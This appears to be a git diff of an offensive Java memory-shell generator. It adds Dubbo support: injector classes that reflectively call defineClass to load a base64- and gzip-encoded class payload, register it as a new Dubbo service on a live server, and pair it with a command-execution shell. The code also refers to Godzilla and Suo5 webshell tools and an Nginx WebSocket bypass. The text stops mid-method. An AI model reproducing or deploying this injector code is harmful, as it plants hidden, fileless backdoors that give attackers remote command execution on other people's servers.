diff --git a/build.gradle.kts b/build.gradle.kts index 7fdba60a..06dbe935 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.6.1" +version = "2.6.2-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/build.gradle.kts b/generator/build.gradle.kts index cef92a1c..87d9c733 100644 --- a/generator/build.gradle.kts +++ b/generator/build.gradle.kts @@ -37,7 +37,10 @@ dependencies { implementation(libs.jakarta.servlet.api) implementation(libs.spring.webmvc) implementation(libs.spring.webflux) + implementation(libs.tomcat.embed.core) implementation(libs.reactor.netty.core) + implementation(libs.alibaba.dubbo) + implementation(libs.apache.dubbo) implementation(libs.jackson.annotations) implementation(libs.bundles.jna) diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java index 035361af..b0ef32fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/Server.java @@ -21,4 +21,5 @@ public class Server { public static final String SpringWebFlux = "SpringWebFlux"; public static final String XXLJOB = "XXLJOB"; public static final String Struct2 = "Struct2"; + public static final String Dubbo = "Dubbo"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 32600cc5..55bdc7c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.asm.ClassInterfaceUtils; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator; import com.reajason.javaweb.memshell.server.AbstractServer; @@ -15,6 +17,7 @@ import com.reajason.javaweb.utils.CommonUtil; import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.Strings; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -60,20 +63,36 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); - injectorConfig.setInjectorClass(injectorClass); - injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); - injectorConfig.setShellClassBytes(shellBytes); + if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) { + String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName()); + String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName()); + String interfaceName = packageName + ".I" + simpleName; + injectorConfig.setInjectorHelperClassName(interfaceName); + injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig)); + shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName); + String urlPattern = injectorConfig.getUrlPattern(); + if (Strings.CS.equalsAny(urlPattern, "/*", "/") + || StringUtils.isBlank(urlPattern)) { + injectorConfig.setUrlPattern(interfaceName); + } + } if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { - injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); + String helperClassName = shellToolConfig.getShellClassName() + "$1"; + injectorConfig.setInjectorHelperClassName(helperClassName); + injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig)); } + injectorConfig.setInjectorClass(injectorClass); + injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); + injectorConfig.setShellClassBytes(shellBytes); + InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { ProbeConfig probeConfig = ProbeConfig.builder() - .shellClassName(injectorConfig.getInjectorClassName() + "1") + .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper") .probeMethod(ProbeMethod.ResponseBody) .probeContent(ProbeContent.Bytecode) .targetJreVersion(shellConfig.getTargetJreVersion()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 34464794..3ffa86a6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -47,6 +47,7 @@ public class ServerFactory { register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.XXLJOB, XxlJob::new); register(Server.Struct2, Struct2::new); + register(Server.Dubbo, Dubbo::new); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(SERVLET, GodzillaServlet.class) @@ -162,6 +163,8 @@ public class ServerFactory { .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(ACTION, CommandStruct2Action.class) + .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class) + .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class) .build()); addToolMapping(ShellTool.Suo5, ToolMapping.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 487eff1a..a88995a5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -50,4 +50,8 @@ public class ShellType { public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; public static final String ACTION = "Action"; + + public static final String DUBBO_SERVICE = "DubboService"; + public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE; + public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 33a49539..eb59d9bc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -91,12 +91,15 @@ public static ImplementationClass fromString(String encryptor) { } public enum Encryptor { - RAW, DOUBLE_BASE64; + RAW, BASE64, DOUBLE_BASE64; public static Encryptor fromString(String encryptor) { if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { return DOUBLE_BASE64; } + if (encryptor != null && encryptor.equals("BASE64")) { + return BASE64; + } return RAW; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index 236d83da..8bf4b7e0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -27,6 +27,12 @@ public class InjectorConfig { @Builder.Default private String injectorClassName = CommonUtil.generateInjectorClassName(); + /** + * 辅助类类名 + */ + private String injectorHelperClassName; + + /** * 注入访问的地址 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java new file mode 100644 index 00000000..e202015e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.shelltool.ShellDubboService; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +public class DubboServiceInterfaceHelperGenerator { + public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) { + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(ShellDubboService.class) + .name(interfaceName) + .make()) { + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java index 7b2d5eb3..5cd493ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java @@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; -import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.lang3.tuple.Pair; @@ -19,7 +18,7 @@ * @since 2026/1/13 */ public class WebSocketByPassHelperGenerator { - public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { Pair headerPair = getHeaderPair(shellToolConfig); if (headerPair == null) { throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); @@ -31,7 +30,7 @@ public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellTool .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .field(named("headerName")).value(headerPair.getKey()) .field(named("headerValue")).value(headerPair.getValue()) - .name(CommonUtil.generateClassName()); + .name(helperClassName); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java new file mode 100644 index 00000000..fe4d9a63 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/Base64ParamInterceptor.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; + +/** + * @author ReaJason + * @since 2025/4/27 + */ +public class Base64ParamInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception { + returnValue = ShellCommonUtil.base64DecodeToString(param); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 34f5ec03..d34a9fc2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -42,6 +42,17 @@ public DynamicType.Builder getBuilder() { .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); } + if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) { + builder = builder + .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", + shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName())) + .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) + .withParameters(String.class) + .throwing(Exception.class) + .intercept(FixedValue.nullValue()) + .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) + .visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam"))); + } if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { builder = builder.visit(Advice.withCustomMapping() .bind(TemplateAnnotation.class, shellToolConfig.getTemplate()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java new file mode 100644 index 00000000..9bf79c44 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/AlibabaDubboServiceInjector.java @@ -0,0 +1,451 @@ +package com.reajason.javaweb.memshell.injector.dubbo; + +import com.alibaba.dubbo.common.URL; +import com.alibaba.dubbo.common.bytecode.ClassGenerator; +import com.alibaba.dubbo.common.utils.ClassHelper; +import com.alibaba.dubbo.config.*; +import com.alibaba.dubbo.config.model.ApplicationModel; +import com.alibaba.dubbo.config.model.ProviderModel; +import javassist.ClassPool; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; +import java.io.StringWriter; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.security.ProtectionDomain; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.zip.GZIPInputStream; + +public class AlibabaDubboServiceInjector { + private final Map> dynamicServices = new ConcurrentHashMap<>(); + private static final String DISPLAY_HOST = "x.x.x.x"; + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getHelperBase64String() { + return "{{helperBase64String}}"; + } + + public AlibabaDubboServiceInjector() { + if (ok) { + return; + } + try { + msg += registerService(); + } catch (Throwable e) { + msg += "unexcepted error: " + stackTrace(e); + } + ok = true; + System.out.println(msg); + } + + public String registerService() throws Exception { + String servicePath = normalizePath(getUrlPattern()); + if (servicePath.isEmpty()) { + throw new IllegalArgumentException("path must not be empty"); + } + + if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) { + return resolveServiceAddresses(servicePath); + } + + Class serviceInterface = loadClass(getHelperBase64String()); + Class serviceImpl = loadClass(getBase64String()); + validateServiceTypes(serviceInterface, serviceImpl); + + ServiceConfig serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl)); + if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) { + return resolveServiceAddresses(servicePath); + } + + try { + serviceConfig.export(); + return resolveServiceAddresses(servicePath); + } catch (RuntimeException e) { + dynamicServices.remove(servicePath, serviceConfig); + throw e; + } + } + + private Class loadClass(String payload) throws Exception { + ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class); + byte[] classBytes = gzipDecompress(decodeBase64(payload)); + definePackageIfNeeded(classLoader, getClassName()); + Class loadedClass = defineClass(classLoader, classBytes); + registerInJavassistClassPool(classLoader, classBytes); + return loadedClass; + } + + private Class defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception { + ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain(); + Method defineClass = ClassLoader.class.getDeclaredMethod( + "defineClass", + String.class, + byte[].class, + int.class, + int.class, + ProtectionDomain.class + ); + defineClass.setAccessible(true); + return (Class) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain); + } + + private void definePackageIfNeeded(ClassLoader classLoader, String className) { + int packageEnd = className.lastIndexOf('.'); + if (packageEnd < 0) { + return; + } + + String packageName = className.substring(0, packageEnd); + try { + Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class); + getPackage.setAccessible(true); + if (getPackage.invoke(classLoader, packageName) != null) { + return; + } + + Method definePackage = ClassLoader.class.getDeclaredMethod( + "definePackage", + String.class, + String.class, + String.class, + String.class, + String.class, + String.class, + String.class, + java.net.URL.class + ); + definePackage.setAccessible(true); + definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null); + } catch (Exception ignored) { + // Defining the package is a convenience for older class loaders. The class can still load without it. + } + } + + private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) { + try { + ClassPool classPool = ClassGenerator.getClassPool(classLoader); + classPool.makeClass(new ByteArrayInputStream(classBytes)); + } catch (Throwable ignored) { + // Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails. + } + } + + private static byte[] decodeBase64(String value) throws Exception { + Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value); + } + + private static byte[] gzipDecompress(byte[] bytes) throws Exception { + GZIPInputStream inputStream = null; + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + try { + inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes)); + byte[] buffer = new byte[4096]; + int read; + while ((read = inputStream.read(buffer)) > 0) { + outputStream.write(buffer, 0, read); + } + return outputStream.toByteArray(); + } finally { + if (inputStream != null) { + inputStream.close(); + } + outputStream.close(); + } + } + + private void validateServiceTypes(Class serviceInterface, Class serviceImpl) { + if (!serviceInterface.isInterface()) { + throw new IllegalArgumentException("not an interface: " + serviceInterface.getName()); + } + if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) { + throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName()); + } + if (!serviceInterface.isAssignableFrom(serviceImpl)) { + throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName()); + } + } + + private Object instantiate(Class serviceImpl) { + try { + Constructor constructor = serviceImpl.getDeclaredConstructor(); + constructor.setAccessible(true); + return constructor.newInstance(); + } catch (Exception e) { + throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e); + } + } + + private ServiceConfig createServiceConfig(String servicePath, Class serviceInterface, Object serviceImpl) { + ServiceConfig serviceConfig = new ServiceConfig(); + serviceConfig.setInterface(serviceInterface); + serviceConfig.setRef(serviceImpl); + serviceConfig.setPath(servicePath); + + ProviderConfig providerConfig = findProviderConfig(); + if (providerConfig != null) { + serviceConfig.setProvider(providerConfig); + if (notEmpty(providerConfig.getVersion())) { + serviceConfig.setVersion(providerConfig.getVersion()); + } + } + + ApplicationConfig applicationConfig = findApplicationConfig(providerConfig); + if (applicationConfig != null) { + serviceConfig.setApplication(applicationConfig); + } + + List protocolConfigs = findProtocolConfigs(providerConfig); + if (!protocolConfigs.isEmpty()) { + serviceConfig.setProtocols(protocolConfigs); + } + + List registryConfigs = findRegistryConfigs(providerConfig, applicationConfig); + if (!registryConfigs.isEmpty()) { + serviceConfig.setRegistries(registryConfigs); + } + + return serviceConfig; + } + + private ServiceConfig findRegisteredService(String servicePath) { + String normalizedPath = normalizePath(servicePath); + for (ProviderModel providerModel : providerModels()) { + ServiceConfig serviceConfig = providerModel.getMetadata(); + if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) { + return serviceConfig; + } + } + return null; + } + + private ProviderConfig findProviderConfig() { + for (ProviderModel providerModel : providerModels()) { + ServiceConfig serviceConfig = providerModel.getMetadata(); + if (serviceConfig != null && serviceConfig.getProvider() != null) { + return serviceConfig.getProvider(); + } + } + return null; + } + + private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) { + if (providerConfig != null && providerConfig.getApplication() != null) { + return providerConfig.getApplication(); + } + + for (ProviderModel providerModel : providerModels()) { + com.alibaba.dubbo.config.ServiceConfig serviceConfig = providerModel.getMetadata(); + if (serviceConfig == null) { + continue; + } + if (serviceConfig.getApplication() != null) { + return serviceConfig.getApplication(); + } + if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) { + return serviceConfig.getProvider().getApplication(); + } + } + return null; + } + + private List findProtocolConfigs(ProviderConfig providerConfig) { + List protocols = new ArrayList(); + addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols()); + for (ProviderModel providerModel : providerModels()) { + ServiceConfig serviceConfig = providerModel.getMetadata(); + if (serviceConfig == null) { + continue; + } + addProtocols(protocols, serviceConfig.getProtocols()); + addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols()); + } + return uniqueProtocols(protocols); + } + + private List findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) { + List registries = registries(providerConfig == null ? null : providerConfig.getRegistries()); + if (!registries.isEmpty()) { + return registries; + } + + registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries()); + if (!registries.isEmpty()) { + return registries; + } + + for (ProviderModel providerModel : providerModels()) { + ServiceConfig serviceConfig = providerModel.getMetadata(); + if (serviceConfig == null) { + continue; + } + + registries = registries(serviceConfig.getRegistries()); + if (!registries.isEmpty()) { + return registries; + } + + ProviderConfig serviceProvider = serviceConfig.getProvider(); + registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries()); + if (!registries.isEmpty()) { + return registries; + } + + ApplicationConfig serviceApplication = serviceConfig.getApplication(); + registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries()); + if (!registries.isEmpty()) { + return registries; + } + } + + return new ArrayList(); + } + + private String resolveServiceAddresses(String servicePath) { + String normalizedPath = normalizePath(servicePath); + ServiceConfig serviceConfig = dynamicServices.get(normalizedPath); + if (serviceConfig == null) { + serviceConfig = findRegisteredService(normalizedPath); + } + if (serviceConfig == null) { + return normalizedPath; + } + + List exportedUrls = serviceConfig.getExportedUrls(); + if (exportedUrls != null && !exportedUrls.isEmpty()) { + return formatUrls(exportedUrls); + } + + List protocols = uniqueProtocols(serviceConfig.getProtocols()); + if (protocols.isEmpty() && serviceConfig.getProvider() != null) { + protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols()); + } + if (protocols.isEmpty()) { + return normalizedPath; + } + + return formatProtocolAddresses(protocols, normalizedPath); + } + + private String formatUrls(List urls) { + StringBuilder builder = new StringBuilder(); + for (URL url : urls) { + if (builder.length() > 0) { + builder.append(", "); + } + builder.append(formatUrl(url)); + } + return builder.toString(); + } + + private String formatProtocolAddresses(List protocols, String path) { + StringBuilder builder = new StringBuilder(); + for (ProtocolConfig protocol : protocols) { + if (builder.length() > 0) { + builder.append(", "); + } + builder.append(formatProtocolAddress(protocol, path)); + } + return builder.toString(); + } + + private String formatUrl(URL url) { + String path = normalizePath(url.getPath()); + int port = url.getPort(); + return port > 0 + ? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path) + : String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path); + } + + private String formatProtocolAddress(ProtocolConfig protocol, String path) { + String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo"; + Integer port = protocol.getPort(); + return port != null && port > 0 + ? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path) + : String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path); + } + + private List providerModels() { + try { + return ApplicationModel.allProviderModels(); + } catch (Throwable ignored) { + return new ArrayList(); + } + } + + private void addProtocols(List target, List source) { + if (source != null) { + target.addAll(source); + } + } + + private List uniqueProtocols(List protocols) { + Map unique = new LinkedHashMap(); + if (protocols != null) { + for (ProtocolConfig protocol : protocols) { + if (protocol != null) { + unique.put(protocolKey(protocol), protocol); + } + } + } + return new ArrayList(unique.values()); + } + + private List registries(List registries) { + return registries == null ? new ArrayList() : new ArrayList(registries); + } + + private String protocolKey(ProtocolConfig protocol) { + return String.valueOf(protocol.getName()) + + "|" + + String.valueOf(protocol.getHost()) + + "|" + + String.valueOf(protocol.getPort()) + + "|" + + String.valueOf(protocol.getServer()) + + "|" + + String.valueOf(protocol.getId()); + } + + private String normalizePath(String path) { + if (path == null) { + return ""; + } + + String normalized = path.trim(); + while (normalized.startsWith("/")) { + normalized = normalized.substring(1); + } + return normalized; + } + + private boolean notEmpty(String value) { + return value != null && !value.isEmpty(); + } + + private String stackTrace(Throwable throwable) { + StringWriter writer = new StringWriter(); + throwable.printStackTrace(new PrintWriter(writer)); + return writer.toString(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/ApacheDubboServiceInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/ApacheDubboServiceInjector.java new file mode 100644 index 00000000..4356729c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/ApacheDubboServiceInjector.java @@ -0,0 +1,616 @@ +package com.reajason.javaweb.memshell.injector.dubbo; + +import javassist.ClassPool; +import org.apache.dubbo.common.bytecode.ClassGenerator; +import org.apache.dubbo.config.*; +import org.apache.dubbo.rpc.model.ApplicationModel; + +import java.io.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.security.ProtectionDomain; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; +import java.util.zip.GZIPInputStream; + +public class ApacheDubboServiceInjector { + private final Map> DYNAMIC_SERVICES = new ConcurrentHashMap<>(); + private static final String DISPLAY_HOST = "x.x.x.x"; + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getHelperBase64String() { + return "{{helperBase64String}}"; + } + + public ApacheDubboServiceInjector() { + if (ok) { + return; + } + try { + msg += registerService(); + } catch (Throwable e) { + msg += "unexcepted error: " + getErrorMessage(e); + } + ok = true; + System.out.println(msg); + } + + private Class loadClass(String payload) throws Exception { + ClassLoader classLoader = resolveDubboClassLoader(); + byte[] classBytes = gzipDecompress(decodeBase64(payload)); + definePackageIfNeeded(classLoader, getClassName()); + Class loadedClass = defineClass(classLoader, classBytes); + registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes); + msg += "[" + classLoader.getClass().getName() + "] "; + return loadedClass; + } + + private ClassLoader resolveDubboClassLoader() { + ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper"); + if (classLoader != null) { + return classLoader; + } + classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils"); + if (classLoader != null) { + return classLoader; + } + classLoader = ClassGenerator.class.getClassLoader(); + return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader(); + } + + private ClassLoader invokeDubboClassLoader(String className) { + try { + Class helperClass = Class.forName(className); + return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class); + } catch (Throwable ignored) { + return null; + } + } + + private Class defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception { + ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain(); + Method defineClass = ClassLoader.class.getDeclaredMethod( + "defineClass", + String.class, + byte[].class, + int.class, + int.class, + ProtectionDomain.class + ); + defineClass.setAccessible(true); + return (Class) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain); + } + + private void definePackageIfNeeded(ClassLoader classLoader, String className) { + int packageEnd = className.lastIndexOf('.'); + if (packageEnd < 0) { + return; + } + String packageName = className.substring(0, packageEnd); + try { + Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class); + getPackage.setAccessible(true); + if (getPackage.invoke(classLoader, packageName) != null) { + return; + } + Method definePackage = ClassLoader.class.getDeclaredMethod( + "definePackage", + String.class, + String.class, + String.class, + String.class, + String.class, + String.class, + String.class, + java.net.URL.class + ); + definePackage.setAccessible(true); + definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null); + } catch (Exception ignored) { + } + } + + public String toString() { + return msg; + } + + private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) { + try { + ClassPool classPool = ClassGenerator.getClassPool(classLoader); + try { + classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes)); + } catch (NoSuchMethodException e) { + classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes)); + } + } catch (Throwable ignored) { + } + insertByteArrayClassPath(className, classLoader, classBytes); + } + + private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) { + try { + Class classPoolClass = Class.forName("javassist.ClassPool"); + Class classPathClass = Class.forName("javassist.ClassPath"); + Class byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath"); + insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes); + insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes); + } catch (Throwable ignored) { + } + } + + private void insertClassPath(Object classPool, Class classPoolClass, Class classPathClass, Class byteArrayClassPathClass, String className, byte[] classBytes) throws Exception { + if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) { + classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes)); + } + } + + public static byte[] decodeBase64(String str) throws Exception { + return Base64.getDecoder().decode(str); + } + + public static byte[] gzipDecompress(byte[] bArr) throws IOException { + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) { + byte[] bArr2 = new byte[4096]; + int i; + while ((i = gZIPInputStream.read(bArr2)) > 0) { + byteArrayOutputStream.write(bArr2, 0, i); + } + return 